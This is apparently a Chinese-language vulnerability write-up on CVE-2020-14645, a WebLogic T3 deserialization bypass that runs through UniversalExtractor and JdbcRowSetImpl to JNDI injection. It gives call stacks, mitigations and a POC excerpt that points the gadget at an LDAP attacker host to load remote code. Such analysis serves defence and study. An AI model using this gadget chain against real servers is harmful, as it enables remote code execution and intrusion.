环境搭建
参考前面的环境
T3
CVE-2020-14645
原理
这个利用方式也就是针对CVE-2020-2883
的黑名单绕过,在2883那个CVE存在有两条链子,但是本质上都是通过ReflectionExtractor
来调用的任意的方法,最后进行命令执行的,之后再补丁中将该类加入了黑名单中,而这里的CVE也就是在这个基础上找到了在com.tangosol.util.extractor.UniversalExtractor
类中也能够进行类似的逻辑,进行黑名单的绕过
分析
因为这里就只是之前的一个CVE的一种黑名单绕过,这里对于前面就不过多的提及了,可以看看前面的分析
首先看看如果调用extract方法的,在前面的分析中,我们能够知道在ExtractorComparator
这条链中
主要是通过ExtractorComparator#compare
方法的调用中能够触发任意类的extract
方法,所以在那条链子中就是使用的调用ChainedExtractor#extract
,之后通过ReflectionExtractor
来进行了命令执行
而如何调用其compare方法的呢?
主要是通过CC链的方式,通过调用PriorityQueue#readObject进而调用到了其的compare
方法
贴个调用栈就行了
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extract:109, ReflectionExtractor (com.tangosol.util.extractor)
extract:81, ChainedExtractor (com.tangosol.util.extractor)
compare:61, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2122, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)
之后从漏洞的入口开始分析UniversalExtractor#extract
方法中
在这里,传入的oTarget
参数是我们构造的JdbcRowSetImpl
类对象,为什么要设置为这个对象,我们后面会进行分析
这里,因为m_cacheTarget
是一个被transient
修饰的属性,所以,这里肯定是会进入else语句调用extractComplex
方法
在extractComplex
方法的后面存在有一个能够任意调用任意类的任意方法的操作
我们倒过来看存在有什么样的限制,这里的oTarget
没有任何的争议,我们是完全可控的一个类对象
重点来看看method
变量的限制
解释一下子这个方法的逻辑
首先获取了oTarget
这个对象的类,之后调用了getCanonicalName
方法获取方法名
这里的Lambdas.getValueExtractorCanonicalName(this)
因为传入的参数是this,所以会一直为null,进入if语句中去
调用CanonicalNames.computeValueExtractorCanonicalName
方法来获取,传入的参数是m_sName / m_aoParam
这两个属性值
分析一下具体的逻辑,首先第一个if语句就要求了必须要是一个无参的方式,之后再第一个else if
语句中,如果传入的sName
值不以()
结尾,就直接将这个变量值进行返回
如果存在有()
,进入else
语句中去
其中限制了方法的前缀
必须以get / is
开头的方法才能满足
之后的逻辑就是将方法中的前缀get / is
和后缀()
给去掉,并且将首字母给小写了进行返回
而这里也不是直接对method
进行了控制,真正的控制还是需要回到extractComplex
方法中
在这里fProperty
如果为true,就会按照之前去除的规则,将其还原为方法名,并且调用ClassHelper.findMethod
来获取对应的方法
之后就是创建了一个TargetReflectionDescriptor
对象将其赋值给m_cacheTarget
属性,传入的参数是clzTarget
和我们前面构造的method
看到寻找getXXX
开头的函数,并且具有对应的属性,我们很容易就联想到FastJson的一系列反序列化就是getXX / setXX
等方法的寻找
很多,这里用的是经典的JdbcRowSetImpl
链
跟进看看
在JdbcRowSetImpl#getDatabaseMetaData
方法的调用中
调用了connect
方法进行连接
在这个方法中,存在这样一串代码
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
这里调用getDataSourceName
方法就会返回对应的属性值,之后进行lookup查询,造成了JNDI注入漏洞
贴个调用栈:
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extractComplex:432, UniversalExtractor (com.tangosol.util.extractor)
extract:175, UniversalExtractor (com.tangosol.util.extractor)
compare:71, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
POC的关键代码
这里就借用Y4er师傅的简洁点的POC
https://github.com/Y4er/CVE-2020-14645/blob/master/CVE_2020_14645.java
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor);
JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setDataSourceName("ldap://192.168.153.1:1389/ogzhze");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
Object[] q = new Object[]{rowSet, rowSet};
Reflections.setFieldValue(queue, "queue", q);
Reflections.setFieldValue(queue, "size", 2);
修复
- 安装补丁
- 加入黑名单
- 限制T3 / IIOP协议
Ref
https://github.com/Y4er/CVE-2020-14645/blob/master/CVE_2020_14645.java